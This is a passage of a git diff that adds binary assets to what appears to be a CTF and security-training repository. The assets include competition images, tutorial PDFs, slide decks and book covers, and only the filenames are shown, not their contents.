000000000..42f164dd7 Binary files /dev/null and b/assets/2_hd.png differ diff --git a/assets/2nd_Guangdong_Hacking.png b/assets/2nd_Guangdong_Hacking.png new file mode 100644 index 000000000..e0166b83a Binary files /dev/null and b/assets/2nd_Guangdong_Hacking.png differ diff --git a/assets/3_hd.png b/assets/3_hd.png new file mode 100644 index 000000000..9b2dde3b0 Binary files /dev/null and b/assets/3_hd.png differ diff --git a/assets/4_hd.png b/assets/4_hd.png new file mode 100644 index 000000000..959487a23 Binary files /dev/null and b/assets/4_hd.png differ diff --git a/assets/511.jpg b/assets/511.jpg new file mode 100644 index 000000000..d03b11e41 Binary files /dev/null and b/assets/511.jpg differ diff --git a/assets/5110.jpg b/assets/5110.jpg new file mode 100644 index 000000000..cf116afdd Binary files /dev/null and b/assets/5110.jpg differ diff --git a/assets/51102.jpg b/assets/51102.jpg new file mode 100644 index 000000000..e010fc0cd Binary files /dev/null and b/assets/51102.jpg differ diff --git a/assets/512.jpg b/assets/512.jpg new file mode 100644 index 000000000..b9ab0f0ee Binary files /dev/null and b/assets/512.jpg differ diff --git a/assets/513.jpg b/assets/513.jpg new file mode 100644 index 000000000..64ecba5df Binary files /dev/null and b/assets/513.jpg differ diff --git a/assets/514.jpg b/assets/514.jpg new file mode 100644 index 000000000..43b0bf890 Binary files /dev/null and b/assets/514.jpg differ diff --git a/assets/515.jpg b/assets/515.jpg new file mode 100644 index 000000000..0c51bf787 Binary files /dev/null and b/assets/515.jpg differ diff --git a/assets/516.jpg b/assets/516.jpg new file mode 100644 index 000000000..e1dc8ebba Binary files /dev/null and b/assets/516.jpg differ diff --git a/assets/517.jpg b/assets/517.jpg new file mode 100644 index 000000000..ea35dbc9d Binary files /dev/null and b/assets/517.jpg differ diff --git a/assets/518.jpg b/assets/518.jpg new file mode 100644 index 000000000..31e15e41a Binary files /dev/null and b/assets/518.jpg differ diff --git a/assets/519.jpg b/assets/519.jpg new file mode 100644 index 000000000..d5a294655 Binary files /dev/null and b/assets/519.jpg differ diff --git a/assets/521.jpg b/assets/521.jpg new file mode 100644 index 000000000..4d849d5f9 Binary files /dev/null and b/assets/521.jpg differ diff --git a/assets/5210.jpg b/assets/5210.jpg new file mode 100644 index 000000000..2d1b0de7d Binary files /dev/null and b/assets/5210.jpg differ diff --git a/assets/5211.jpg b/assets/5211.jpg new file mode 100644 index 000000000..23d8ac1a9 Binary files /dev/null and b/assets/5211.jpg differ diff --git a/assets/5212.jpg b/assets/5212.jpg new file mode 100644 index 000000000..19769e71c Binary files /dev/null and b/assets/5212.jpg differ diff --git a/assets/5213.jpg b/assets/5213.jpg new file mode 100644 index 000000000..948adaf4c Binary files /dev/null and b/assets/5213.jpg differ diff --git a/assets/5214.jpg b/assets/5214.jpg new file mode 100644 index 000000000..30ca880d8 Binary files /dev/null and b/assets/5214.jpg differ diff --git a/assets/5215.jpg b/assets/5215.jpg new file mode 100644 index 000000000..24f40eb00 Binary files /dev/null and b/assets/5215.jpg differ diff --git a/assets/5216.jpg b/assets/5216.jpg new file mode 100644 index 000000000..cb9304d3a Binary files /dev/null and b/assets/5216.jpg differ diff --git a/assets/5217.jpg b/assets/5217.jpg new file mode 100644 index 000000000..0737015d9 Binary files /dev/null and b/assets/5217.jpg differ diff --git a/assets/522.jpg b/assets/522.jpg new file mode 100644 index 000000000..0f498f556 Binary files /dev/null and b/assets/522.jpg differ diff --git a/assets/523.jpg b/assets/523.jpg new file mode 100644 index 000000000..05deb6c43 Binary files /dev/null and b/assets/523.jpg differ diff --git a/assets/524.jpg b/assets/524.jpg new file mode 100644 index 000000000..078962016 Binary files /dev/null and b/assets/524.jpg differ diff --git a/assets/525.jpg b/assets/525.jpg new file mode 100644 index 000000000..baacc1307 Binary files /dev/null and b/assets/525.jpg differ diff --git a/assets/526.jpg b/assets/526.jpg new file mode 100644 index 000000000..161551d0c Binary files /dev/null and b/assets/526.jpg differ diff --git a/assets/527.jpg b/assets/527.jpg new file mode 100644 index 000000000..225fdb38f Binary files /dev/null and b/assets/527.jpg differ diff --git a/assets/528.jpg b/assets/528.jpg new file mode 100644 index 000000000..aec9b83d7 Binary files /dev/null and b/assets/528.jpg differ diff --git a/assets/529.jpg b/assets/529.jpg new file mode 100644 index 000000000..31ed83b03 Binary files /dev/null and b/assets/529.jpg differ diff --git a/assets/5_hd.png b/assets/5_hd.png new file mode 100644 index 000000000..ca2006257 Binary files /dev/null and b/assets/5_hd.png differ diff --git a/assets/611.jpg b/assets/611.jpg new file mode 100644 index 000000000..d3190b7d9 Binary files /dev/null and b/assets/611.jpg differ diff --git a/assets/612.jpg b/assets/612.jpg new file mode 100644 index 000000000..bd22cb79d Binary files /dev/null and b/assets/612.jpg differ diff --git a/assets/613.jpg b/assets/613.jpg new file mode 100644 index 000000000..7be00d364 Binary files /dev/null and b/assets/613.jpg differ diff --git a/assets/614.jpg b/assets/614.jpg new file mode 100644 index 000000000..2572eedfc Binary files /dev/null and b/assets/614.jpg differ diff --git a/assets/615.jpg b/assets/615.jpg new file mode 100644 index 000000000..cfd880e6d Binary files /dev/null and b/assets/615.jpg differ diff --git a/assets/616.jpg b/assets/616.jpg new file mode 100644 index 000000000..fa7ee2591 Binary files /dev/null and b/assets/616.jpg differ diff --git a/assets/62c4fcd2c824c2a2a291024ddb806bff61384996d9932c3438ad0ea23ed69bc3.png b/assets/62c4fcd2c824c2a2a291024ddb806bff61384996d9932c3438ad0ea23ed69bc3.png new file mode 100644 index 000000000..9407de649 Binary files /dev/null and b/assets/62c4fcd2c824c2a2a291024ddb806bff61384996d9932c3438ad0ea23ed69bc3.png differ diff --git a/assets/62fc36bb0f774fb34226d6724a8c896f6aee46157fc0ee5ac2b753aa48c51df0.png b/assets/62fc36bb0f774fb34226d6724a8c896f6aee46157fc0ee5ac2b753aa48c51df0.png new file mode 100644 index 000000000..e70ece7c5 Binary files /dev/null and b/assets/62fc36bb0f774fb34226d6724a8c896f6aee46157fc0ee5ac2b753aa48c51df0.png differ diff --git a/assets/631.jpg b/assets/631.jpg new file mode 100644 index 000000000..41e1d8c7d Binary files /dev/null and b/assets/631.jpg differ diff --git a/assets/632.jpg b/assets/632.jpg new file mode 100644 index 000000000..09561136b Binary files /dev/null and b/assets/632.jpg differ diff --git a/assets/633.jpg b/assets/633.jpg new file mode 100644 index 000000000..d6c5906f9 Binary files /dev/null and b/assets/633.jpg differ diff --git a/assets/634.jpg b/assets/634.jpg new file mode 100644 index 000000000..f2d9556ea Binary files /dev/null and b/assets/634.jpg differ diff --git a/assets/651.png b/assets/651.png new file mode 100644 index 000000000..e3156d3a8 Binary files /dev/null and b/assets/651.png differ diff --git a/assets/652.png b/assets/652.png new file mode 100644 index 000000000..28a8b3eae Binary files /dev/null and b/assets/652.png differ diff --git a/assets/653.png b/assets/653.png new file mode 100644 index 000000000..5df808db3 Binary files /dev/null and b/assets/653.png differ diff --git a/assets/6_hd.png b/assets/6_hd.png new file mode 100644 index 000000000..5e83c5783 Binary files /dev/null and b/assets/6_hd.png differ diff --git a/assets/7_hd.png b/assets/7_hd.png new file mode 100644 index 000000000..0dde92194 Binary files /dev/null and b/assets/7_hd.png differ diff --git a/assets/90b1b759dcede421cedb05b9a41ba9dc5f349c5edd8e9a0fe0d9fd4ceeb02bd8.png b/assets/90b1b759dcede421cedb05b9a41ba9dc5f349c5edd8e9a0fe0d9fd4ceeb02bd8.png new file mode 100644 index 000000000..0457c2513 Binary files /dev/null and b/assets/90b1b759dcede421cedb05b9a41ba9dc5f349c5edd8e9a0fe0d9fd4ceeb02bd8.png differ diff --git a/assets/931.jpg b/assets/931.jpg new file mode 100644 index 000000000..c8b51ee78 Binary files /dev/null and b/assets/931.jpg differ diff --git a/assets/9310.jpg b/assets/9310.jpg new file mode 100644 index 000000000..fc418f40e Binary files /dev/null and b/assets/9310.jpg differ diff --git a/assets/9311.jpg b/assets/9311.jpg new file mode 100644 index 000000000..3f02af162 Binary files /dev/null and b/assets/9311.jpg differ diff --git a/assets/9312.jpg b/assets/9312.jpg new file mode 100644 index 000000000..b5c560322 Binary files /dev/null and b/assets/9312.jpg differ diff --git a/assets/9313.jpg b/assets/9313.jpg new file mode 100644 index 000000000..594d6daa0 Binary files /dev/null and b/assets/9313.jpg differ diff --git a/assets/9314.jpg b/assets/9314.jpg new file mode 100644 index 000000000..91f1a4c8a Binary files /dev/null and b/assets/9314.jpg differ diff --git a/assets/9315.jpg b/assets/9315.jpg new file mode 100644 index 000000000..5021a3b5b Binary files /dev/null and b/assets/9315.jpg differ diff --git a/assets/9316.jpg b/assets/9316.jpg new file mode 100644 index 000000000..040156d98 Binary files /dev/null and b/assets/9316.jpg differ diff --git a/assets/9317.jpg b/assets/9317.jpg new file mode 100644 index 000000000..eef275e85 Binary files /dev/null and b/assets/9317.jpg differ diff --git a/assets/9318.jpg b/assets/9318.jpg new file mode 100644 index 000000000..f8bfcc2e3 Binary files /dev/null and b/assets/9318.jpg differ diff --git a/assets/9319.jpg b/assets/9319.jpg new file mode 100644 index 000000000..7581169cc Binary files /dev/null and b/assets/9319.jpg differ diff --git a/assets/932.jpg b/assets/932.jpg new file mode 100644 index 000000000..2a1df8e6f Binary files /dev/null and b/assets/932.jpg differ diff --git a/assets/9320.jpg b/assets/9320.jpg new file mode 100644 index 000000000..d4989fac6 Binary files /dev/null and b/assets/9320.jpg differ diff --git a/assets/933.jpg b/assets/933.jpg new file mode 100644 index 000000000..be4e0ece0 Binary files /dev/null and b/assets/933.jpg differ diff --git a/assets/934.jpg b/assets/934.jpg new file mode 100644 index 000000000..e304d538d Binary files /dev/null and b/assets/934.jpg differ diff --git a/assets/935.jpg b/assets/935.jpg new file mode 100644 index 000000000..6663ccf8d Binary files /dev/null and b/assets/935.jpg differ diff --git a/assets/936.jpg b/assets/936.jpg new file mode 100644 index 000000000..fd2b6ce46 Binary files /dev/null and b/assets/936.jpg differ diff --git a/assets/937.jpg b/assets/937.jpg new file mode 100644 index 000000000..e9ef3d5a0 Binary files /dev/null and b/assets/937.jpg differ diff --git a/assets/9372.jpg b/assets/9372.jpg new file mode 100644 index 000000000..85685cb0c Binary files /dev/null and b/assets/9372.jpg differ diff --git a/assets/938.jpg b/assets/938.jpg new file mode 100644 index 000000000..c6150338c Binary files /dev/null and b/assets/938.jpg differ diff --git a/assets/939.jpg b/assets/939.jpg new file mode 100644 index 000000000..26098350b Binary files /dev/null and b/assets/939.jpg differ diff --git "a/assets/Android Dalvik\350\231\232\346\213\237\346\234\272\347\273\223\346\236\204\345\217\212\346\234\272\345\210\266\345\211\226\346\236\2201.jpg" "b/assets/Android Dalvik\350\231\232\346\213\237\346\234\272\347\273\223\346\236\204\345\217\212\346\234\272\345\210\266\345\211\226\346\236\2201.jpg" new file mode 100644 index 000000000..057bdf55c Binary files /dev/null and "b/assets/Android Dalvik\350\231\232\346\213\237\346\234\272\347\273\223\346\236\204\345\217\212\346\234\272\345\210\266\345\211\226\346\236\2201.jpg" differ diff --git a/assets/Android Internals1.jpg b/assets/Android Internals1.jpg new file mode 100644 index 000000000..d9fba2c08 Binary files /dev/null and b/assets/Android Internals1.jpg differ diff --git "a/assets/Android\347\263\273\347\273\237\346\272\220\344\273\243\347\240\201\346\203\205\346\231\257\345\210\206\346\236\2201.jpg" "b/assets/Android\347\263\273\347\273\237\346\272\220\344\273\243\347\240\201\346\203\205\346\231\257\345\210\206\346\236\2201.jpg" new file mode 100644 index 000000000..d8ac70f16 Binary files /dev/null and "b/assets/Android\347\263\273\347\273\237\346\272\220\344\273\243\347\240\201\346\203\205\346\231\257\345\210\206\346\236\2201.jpg" differ diff --git a/assets/Binary Exploitation.pdf b/assets/Binary Exploitation.pdf new file mode 100644 index 000000000..5f2eb4f87 Binary files /dev/null and b/assets/Binary Exploitation.pdf differ diff --git a/assets/CODEGATE_1.png b/assets/CODEGATE_1.png new file mode 100644 index 000000000..c4f3ffd4d Binary files /dev/null and b/assets/CODEGATE_1.png differ diff --git a/assets/COMPASS CTF 2022 Coat.jpg b/assets/COMPASS CTF 2022 Coat.jpg new file mode 100644 index 000000000..8c4f34946 Binary files /dev/null and b/assets/COMPASS CTF 2022 Coat.jpg differ diff --git a/assets/CTF Field Guide1.png b/assets/CTF Field Guide1.png new file mode 100644 index 000000000..dc62a310c Binary files /dev/null and b/assets/CTF Field Guide1.png differ diff --git a/assets/CTF Wiki1.png b/assets/CTF Wiki1.png new file mode 100644 index 000000000..8f909b371 Binary files /dev/null and b/assets/CTF Wiki1.png differ diff --git a/assets/CTFHub1.png b/assets/CTFHub1.png new file mode 100644 index 000000000..d6e830bce Binary files /dev/null and b/assets/CTFHub1.png differ diff --git a/assets/CTF_tutorial_0___meme.pdf b/assets/CTF_tutorial_0___meme.pdf new file mode 100644 index 000000000..748004965 Binary files /dev/null and b/assets/CTF_tutorial_0___meme.pdf differ diff --git a/assets/CTF_tutorial_1___introduction.pdf b/assets/CTF_tutorial_1___introduction.pdf new file mode 100644 index 000000000..fe810c25e Binary files /dev/null and b/assets/CTF_tutorial_1___introduction.pdf differ diff --git a/assets/CTF_tutorial_2___web.pdf b/assets/CTF_tutorial_2___web.pdf new file mode 100644 index 000000000..622554112 Binary files /dev/null and b/assets/CTF_tutorial_2___web.pdf differ diff --git a/assets/CTF_tutorial_3___web___file.pdf b/assets/CTF_tutorial_3___web___file.pdf new file mode 100644 index 000000000..3c1d651ea Binary files /dev/null and b/assets/CTF_tutorial_3___web___file.pdf differ diff --git a/assets/CTF_tutorial_3___web___python.pdf b/assets/CTF_tutorial_3___web___python.pdf new file mode 100644 index 000000000..a81243a5d Binary files /dev/null and b/assets/CTF_tutorial_3___web___python.pdf differ diff --git a/assets/CTF_tutorial_3___web___sql.pdf b/assets/CTF_tutorial_3___web___sql.pdf new file mode 100644 index 000000000..bbc0bf596 Binary files /dev/null and b/assets/CTF_tutorial_3___web___sql.pdf differ diff --git a/assets/CTF_tutorial_3___web___ssrf.pdf b/assets/CTF_tutorial_3___web___ssrf.pdf new file mode 100644 index 000000000..30d16740d Binary files /dev/null and b/assets/CTF_tutorial_3___web___ssrf.pdf differ diff --git a/assets/CTF_tutorial_4___forensics.pdf b/assets/CTF_tutorial_4___forensics.pdf new file mode 100644 index 000000000..eea648bf7 Binary files /dev/null and b/assets/CTF_tutorial_4___forensics.pdf differ diff --git a/assets/CTF_tutorial_5___cryptography.pdf b/assets/CTF_tutorial_5___cryptography.pdf new file mode 100644 index 000000000..77ba980d6 Binary files /dev/null and b/assets/CTF_tutorial_5___cryptography.pdf differ diff --git a/assets/CTF_tutorial_6___reverse.pdf b/assets/CTF_tutorial_6___reverse.pdf new file mode 100644 index 000000000..01e86a042 Binary files /dev/null and b/assets/CTF_tutorial_6___reverse.pdf differ diff --git a/assets/CTF_tutorial_7___pwn.pdf b/assets/CTF_tutorial_7___pwn.pdf new file mode 100644 index 000000000..cf75d7604 Binary files /dev/null and b/assets/CTF_tutorial_7___pwn.pdf differ diff --git a/assets/CTF_tutorial_8___pwn2.pdf b/assets/CTF_tutorial_8___pwn2.pdf new file mode 100644 index 000000000..6964cfb4f Binary files /dev/null and b/assets/CTF_tutorial_8___pwn2.pdf differ diff --git a/assets/CTF_tutorial_9___penetration.pdf b/assets/CTF_tutorial_9___penetration.pdf new file mode 100644 index 000000000..cb99d4832 Binary files /dev/null and b/assets/CTF_tutorial_9___penetration.pdf differ diff --git "a/assets/CTF\347\275\221\347\273\234\345\256\211\345\205\250\351\224\246\346\240\207\350\265\2332022.png" "b/assets/CTF\347\275\221\347\273\234\345\256\211\345\205\250\351\224\246\346\240\207\350\265\2332022.png" new file mode 100644 index 000000000..e70a3b16a Binary files /dev/null and "b/assets/CTF\347\275\221\347\273\234\345\256\211\345\205\250\351\224\246\346\240\207\350\265\2332022.png" differ diff --git "a/assets/CTF\347\275\221\347\273\234\345\256\211\345\205\250\351\230\237\344\274\215\346\213\233\345\213\237_hd.png" "b/assets/CTF\347\275\221\347\273\234\345\256\211\345\205\250\351\230\237\344\274\215\346\213\233\345\213\237_hd.png" new file mode 100644 index 000000000..666edcfc5 Binary files /dev/null and "b/assets/CTF\347\275\221\347\273\234\345\256\211\345\205\250\351\230\237\344\274\215\346\213\233\345\213\237_hd.png" differ diff --git a/assets/Ciphey_demo_hd.gif b/assets/Ciphey_demo_hd.gif new file mode 100644 index 000000000..d73cdcb3d Binary files /dev/null and b/assets/Ciphey_demo_hd.gif differ diff --git a/assets/Computer Network.pptx b/assets/Computer Network.pptx new file mode 100644 index 000000000..584965cdf Binary files /dev/null and b/assets/Computer Network.pptx differ diff --git a/assets/Computer Systems1.jpg b/assets/Computer Systems1.jpg new file mode 100644 index 000000000..423c6a31f Binary files /dev/null and b/assets/Computer Systems1.jpg differ diff --git a/assets/Cryptography.pptx b/assets/Cryptography.pptx new file mode 100644 index 000000000..601a70460 Binary files /dev/null and b/assets/Cryptography.pptx differ diff --git a/assets/DH_1.png b/assets/DH_1.png new file mode 100644 index 000000000..022e8a0a5 Binary files /dev/null and b/assets/DH_1.png differ diff --git a/assets/DiceCTF2022.png b/assets/DiceCTF2022.png new file mode 100644 index 000000000..fac3fbf04 Binary files /dev/null and b/assets/DiceCTF2022.png differ diff --git a/assets/ECTF_1.png b/assets/ECTF_1.png new file mode 100644 index 000000000..df2f6a28c Binary files /dev/null and b/assets/ECTF_1.png differ diff --git a/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15.pdf b/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15.pdf new file mode 100644 index 000000000..9eacd6556 Binary files /dev/null and b/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15.pdf differ diff --git a/assets/ExeInfoPE1.png b/assets/ExeInfoPE1.png new file mode 100644 index 000000000..0b662b25a Binary files /dev/null and b/assets/ExeInfoPE1.png differ diff --git a/assets/Exposure1.png b/assets/Exposure1.png new file mode 100644 index 000000000..bbc88e2d5 Binary files /dev/null and b/assets/Exposure1.png differ diff --git a/assets/Forensics_Steganography.pdf b/assets/Forensics_Steganography.pdf new file mode 100644 index 000000000..4bab9ce93 Binary files /dev/null and b/assets/Forensics_Steganography.pdf differ diff --git a/assets/GDSS2022.png b/assets/GDSS2022.png new file mode 100644 index 000000000..c28a48318 Binary files /dev/null and b/assets/GDSS2022.png differ diff --git a/assets/GD_CTF_Final.png b/assets/GD_CTF_Final.png new file mode 100644 index 000000000..b820aafc8 Binary files /dev/null and b/assets/GD_CTF_Final.png differ diff --git a/assets/HFCTF2022.png b/assets/HFCTF2022.png new file mode 100644 index 000000000..0e9c059a9 Binary files /dev/null and b/assets/HFCTF2022.png differ diff --git a/assets/HUFU_1.png b/assets/HUFU_1.png new file mode 100644 index 000000000..f7021d5b2 Binary files /dev/null and b/assets/HUFU_1.png differ diff --git a/assets/HackTricks1.png b/assets/HackTricks1.png new file mode 100644 index 000000000..31c565f26 Binary files /dev/null and b/assets/HackTricks1.png differ diff --git a/assets/Introduction_to_CTF.pdf b/assets/Introduction_to_CTF.pdf new file mode 100644 index 000000000..acf3a7a07 Binary files /dev/null and b/assets/Introduction_to_CTF.pdf differ diff --git a/assets/Introduction_to_CTF_2022.pdf b/assets/Introduction_to_CTF_2022.pdf new file mode 100644 index 000000000..7c8492081 Binary files /dev/null and b/assets/Introduction_to_CTF_2022.pdf differ diff --git a/assets/KnightCTF.png b/assets/KnightCTF.png new file mode 100644 index 000000000..6547e35ce Binary files /dev/null and b/assets/KnightCTF.png differ diff --git a/assets/Linux Kernel Development1.jpg b/assets/Linux Kernel Development1.jpg new file mode 100644 index 000000000..fdf7c257a Binary files /dev/null and b/assets/Linux Kernel Development1.jpg differ diff --git a/assets/Linux_Basics.pdf b/assets/Linux_Basics.pdf new file mode 100644 index 000000000..b3db6f751 Binary files /dev/null and b/assets/Linux_Basics.pdf differ diff --git a/assets/Linux__Programming__CLI.pdf b/assets/Linux__Programming__CLI.pdf new file mode 100644 index 000000000..68621ee11 Binary files /dev/null and b/assets/Linux__Programming__CLI.pdf differ diff --git a/assets/Mac OS X and iOS Internals1.jpg b/assets/Mac OS X and iOS Internals1.jpg new file mode 100644 index 000000000..631c72457 Binary files /dev/null and b/assets/Mac OS X and iOS Internals1.jpg differ diff --git a/assets/Members.jpg b/assets/Members.jpg new file mode 100644 index 000000000..1d0cbf33c Binary files /dev/null and b/assets/Members.jpg differ diff --git a/assets/Operating Systems.pptx b/assets/Operating Systems.pptx new file mode 100644 index 000000000..4969635ba Binary files /dev/null and b/assets/Operating Systems.pptx differ diff --git a/assets/Penetration.pptx b/assets/Penetration.pptx new file mode 100644 index 000000000..dcfe3e16e Binary files /dev/null and b/assets/Penetration.pptx differ diff --git a/assets/RSAssss1.webp b/assets/RSAssss1.webp new file mode 100644 index 000000000..817521218 Binary files /dev/null and b/assets/RSAssss1.webp differ diff --git a/assets/Reverse.pdf b/assets/Reverse.pdf new file mode 100644 index 000000000..00732ead1 Binary files /dev/null and b/assets/Reverse.pdf differ diff --git a/assets/TQL_CTF_1.png b/assets/TQL_CTF_1.png new file mode 100644 index 000000000..322045feb Binary files /dev/null and b/assets/TQL_CTF_1.png differ diff --git a/assets/The Missing Course.pdf b/assets/The Missing Course.pdf new file mode 100644 index 000000000..861aa70da Binary files /dev/null and b/assets/The Missing Course.pdf differ diff --git a/assets/Understanding the Linux Kernel1.jpg b/assets/Understanding the Linux Kernel1.jpg new file mode 100644 index 000000000..f0410aa6c Binary files /dev/null and b/assets/Understanding the Linux Kernel1.jpg differ diff --git a/assets/VU_CTF_1.png b/assets/VU_CTF_1.png new file mode 100644 index 000000000..9738b2667 Binary files /dev/null and b/assets/VU_CTF_1.png differ diff --git a/assets/VU_CTF_2.png b/assets/VU_CTF_2.png new file mode 100644 index 000000000..97c5ceea0 Binary files /dev/null and b/assets/VU_CTF_2.png differ diff --git a/assets/WS1-1.pdf b/assets/WS1-1.pdf new file mode 100644 index 000000000..bf4e4df4e Binary files /dev/null and b/assets/WS1-1.pdf differ diff --git a/assets/WS1-10.pdf b/assets/WS1-10.pdf new file mode 100644 index 000000000..fe9cfc32a Binary files /dev/null and b/assets/WS1-10.pdf differ diff --git a/assets/WS1-2.pdf b/assets/WS1-2.pdf new file mode 100644 index 000000000..0df19fcfe Binary files /dev/null and b/assets/WS1-2.pdf differ diff --git a/assets/WS1-3.pdf b/assets/WS1-3.pdf new file mode 100644 index 000000000..d0557dcdd Binary files /dev/null and b/assets/WS1-3.pdf differ diff --git a/assets/WS1-4.pdf b/assets/WS1-4.pdf new file mode 100644 index 000000000..a77e5c62d Binary files /dev/null and b/assets/WS1-4.pdf differ diff --git a/assets/WS1-5.pdf b/assets/WS1-5.pdf new file mode 100644 index 000000000..2b971d574 Binary files /dev/null and b/assets/WS1-5.pdf differ diff --git a/assets/WS1-6.pdf b/assets/WS1-6.pdf new file mode 100644 index 000000000..c76d2752a Binary files /dev/null and b/assets/WS1-6.pdf differ diff --git a/assets/WS1-7.pdf b/assets/WS1-7.pdf new file mode 100644 index 000000000..d6f849b0a Binary files /dev/null and b/assets/WS1-7.pdf differ diff --git a/assets/WS1-8.pdf b/assets/WS1-8.pdf new file mode 100644 index 000000000..ec1d2bae8 Binary files /dev/null and b/assets/WS1-8.pdf differ diff --git a/assets/WS1-9.pdf b/assets/WS1-9.pdf new file mode 100644 index 000000000..1b786ac33 Binary files /dev/null and b/assets/WS1-9.pdf differ diff --git a/assets/Web_Basics_and_Databases.pdf b/assets/Web_Basics_and_Databases.pdf new file mode 100644 index 000000000..f100f7417 Binary files /dev/null and b/assets/Web_Basics_and_Databases.pdf differ diff --git a/assets/Web_Challenges_Advanced.pdf b/assets/Web_Challenges_Advanced.pdf new file mode 100644 index 000000000..858abe0ee Binary files /dev/null and b/assets/Web_Challenges_Advanced.pdf differ diff --git a/assets/Web_Challenges_and_Databases.pdf b/assets/Web_Challenges_and_Databases.pdf new file mode 100644 index 000000000..9f1e17b16 Binary files /dev/null and b/assets/Web_Challenges_and_Databases.pdf differ diff --git a/assets/Week 10-1.png b/assets/Week 10-1.png new file mode 100644 index 000000000..e947fe1d3 Binary files /dev/null and b/assets/Week 10-1.png differ diff --git a/assets/Week 10-3.png b/assets/Week 10-3.png new file mode 100644 index 000000000..a04bcd09e Binary files /dev/null and b/assets/Week 10-3.png differ diff --git a/assets/Week 10-4.png b/assets/Week 10-4.png new file mode 100644 index 000000000..166e7bfb9 Binary files /dev/null and b/assets/Week 10-4.png differ diff --git a/assets/Week 10-5.png b/assets/Week 10-5.png new file mode 100644 index 000000000..a73b0ad95 Binary files /dev/null and b/assets/Week 10-5.png differ diff --git a/assets/Week 12-1.png b/assets/Week 12-1.png new file mode 100644 index 000000000..62d621006 Binary files /dev/null and b/assets/Week 12-1.png differ diff --git a/assets/Week 12-2.png b/assets/Week 12-2.png new file mode 100644 index 000000000..44a3b7b4f Binary files /dev/null and b/assets/Week 12-2.png differ diff --git a/assets/Week 3-1.png b/assets/Week 3-1.png new file mode 100644 index 000000000..e1c0ebd0b Binary files /dev/null and b/assets/Week 3-1.png differ diff --git a/assets/Week 3-2.png b/assets/Week 3-2.png new file mode 100644 index 000000000..e5ab3c47d Binary files /dev/null and b/assets/Week 3-2.png differ diff --git a/assets/Week 4-1.png b/assets/Week 4-1.png new file mode 100644 index 000000000..c70c07a58 Binary files /dev/null and b/assets/Week 4-1.png differ diff --git a/assets/Week 4-11.jpg b/assets/Week 4-11.jpg new file mode 100644 index 000000000..46a8e07e8 Binary files /dev/null and b/assets/Week 4-11.jpg differ diff --git a/assets/Week 4-12.jpg b/assets/Week 4-12.jpg new file mode 100644 index 000000000..4b30dbbf7 Binary files /dev/null and b/assets/Week 4-12.jpg differ diff --git a/assets/Week 4-13.jpg b/assets/Week 4-13.jpg new file mode 100644 index 000000000..a9270dcc3 Binary files /dev/null and b/assets/Week 4-13.jpg differ diff --git a/assets/Week 5-1.jpg b/assets/Week 5-1.jpg new file mode 100644 index 000000000..3fdb4d00c Binary files /dev/null and b/assets/Week 5-1.jpg differ diff --git a/assets/Week 5-1.zip b/assets/Week 5-1.zip new file mode 100644 index 000000000..6ea7d8bc8 Binary files /dev/null and b/assets/Week 5-1.zip differ diff --git a/assets/Week 5-2.zip b/assets/Week 5-2.zip new file mode 100644 index 000000000..a25fbac64 Binary files /dev/null and b/assets/Week 5-2.zip differ diff --git a/assets/Week 5-3.zip b/assets/Week 5-3.zip new file mode 100644 index 000000000..cc9934498 Binary files /dev/null and b/assets/Week 5-3.zip differ diff --git a/assets/Week 6-1.png b/assets/Week 6-1.png new file mode 100644 index 000000000..c499006ae Binary files /dev/null and b/assets/Week 6-1.png differ diff --git a/assets/Week 7-1.png b/assets/Week 7-1.png new file mode 100644 index 000000000..c0d7a4821 Binary files /dev/null and b/assets/Week 7-1.png differ diff --git a/assets/Week 7-10.png b/assets/Week 7-10.png new file mode 100644 index 000000000..909491f9c Binary files /dev/null and b/assets/Week 7-10.png differ diff --git a/assets/Week 7-2.png b/assets/Week 7-2.png new file mode 100644 index 000000000..85dd39b7a Binary files /dev/null and b/assets/Week 7-2.png differ diff --git a/assets/Week 7-3.png b/assets/Week 7-3.png new file mode 100644 index 000000000..32ea2756f Binary files /dev/null and b/assets/Week 7-3.png differ diff --git a/assets/Week 7-4.png b/assets/Week 7-4.png new file mode 100644 index 000000000..3ca8d21b4 Binary files /dev/null and b/assets/Week 7-4.png differ diff --git a/assets/Week 7-5.png b/assets/Week 7-5.png new file mode 100644 index 000000000..93d69ff3b Binary files /dev/null and b/assets/Week 7-5.png differ diff --git a/assets/Week 7-6.png b/assets/Week 7-6.png new file mode 100644 index 000000000..8c8226443 Binary files /dev/null and b/assets/Week 7-6.png differ diff --git a/assets/Week 7-7.png b/assets/Week 7-7.png new file mode 100644 index 000000000..469c001fa Binary files /dev/null and b/assets/Week 7-7.png differ diff --git a/assets/Week 7-8.png b/assets/Week 7-8.png new file mode 100644 index 000000000..380cf67d0 Binary files /dev/null and b/assets/Week 7-8.png differ diff --git a/assets/Week 7-9.png b/assets/Week 7-9.png new file mode 100644 index 000000000..66919d0c0 Binary files /dev/null and b/assets/Week 7-9.png differ diff --git a/assets/Week 9-1.png b/assets/Week 9-1.png new file mode 100644 index 000000000..f1219f209 Binary files /dev/null and b/assets/Week 9-1.png differ diff --git a/assets/Week 9-2.png b/assets/Week 9-2.png new file mode 100644 index 000000000..a8779acee Binary files /dev/null and b/assets/Week 9-2.png differ diff --git a/assets/Week 9-3.png b/assets/Week 9-3.png new file mode 100644 index 000000000..9a8fa73a7 Binary files /dev/null and b/assets/Week 9-3.png differ diff --git a/assets/Windows Internals1.jpg b/assets/Windows Internals1.jpg new file mode 100644 index 000000000..b80b35950 Binary files /dev/null and b/assets/Windows Internals1.jpg differ diff --git "a/assets/Workshop \350\256\241\347\256\227\346\234\272\347\247\221\345\255\246101.pdf" "b/assets/Workshop \350\256\241\347\256\227\346\234\272\347\247\221\345\255\246101.pdf" new file mode 100644 index 000000000..d271cceca Binary files /dev/null and "b/assets/Workshop \350\256\241\347\256\227\346\234\272\347\247\221\345\255\246101.pdf" differ diff --git a/assets/Workshop__Computer_Science_and_Security__The_Missing_Course.pdf b/assets/Workshop__Computer_Science_and_Security__The_Missing_Course.pdf new file mode 100644 index 000000000..de4177076 Binary files /dev/null and b/assets/Workshop__Computer_Science_and_Security__The_Missing_Course.pdf differ diff --git a/assets/a1ecafabcadcb41aaea235af580c7f3b1f7707b100d32984ee97bfa4b0ec1edb.png b/assets/a1ecafabcadcb41aaea235af580c7f3b1f7707b100d32984ee97bfa4b0ec1edb.png new file mode 100644 index 000000000..3fed59085 Binary files /dev/null and 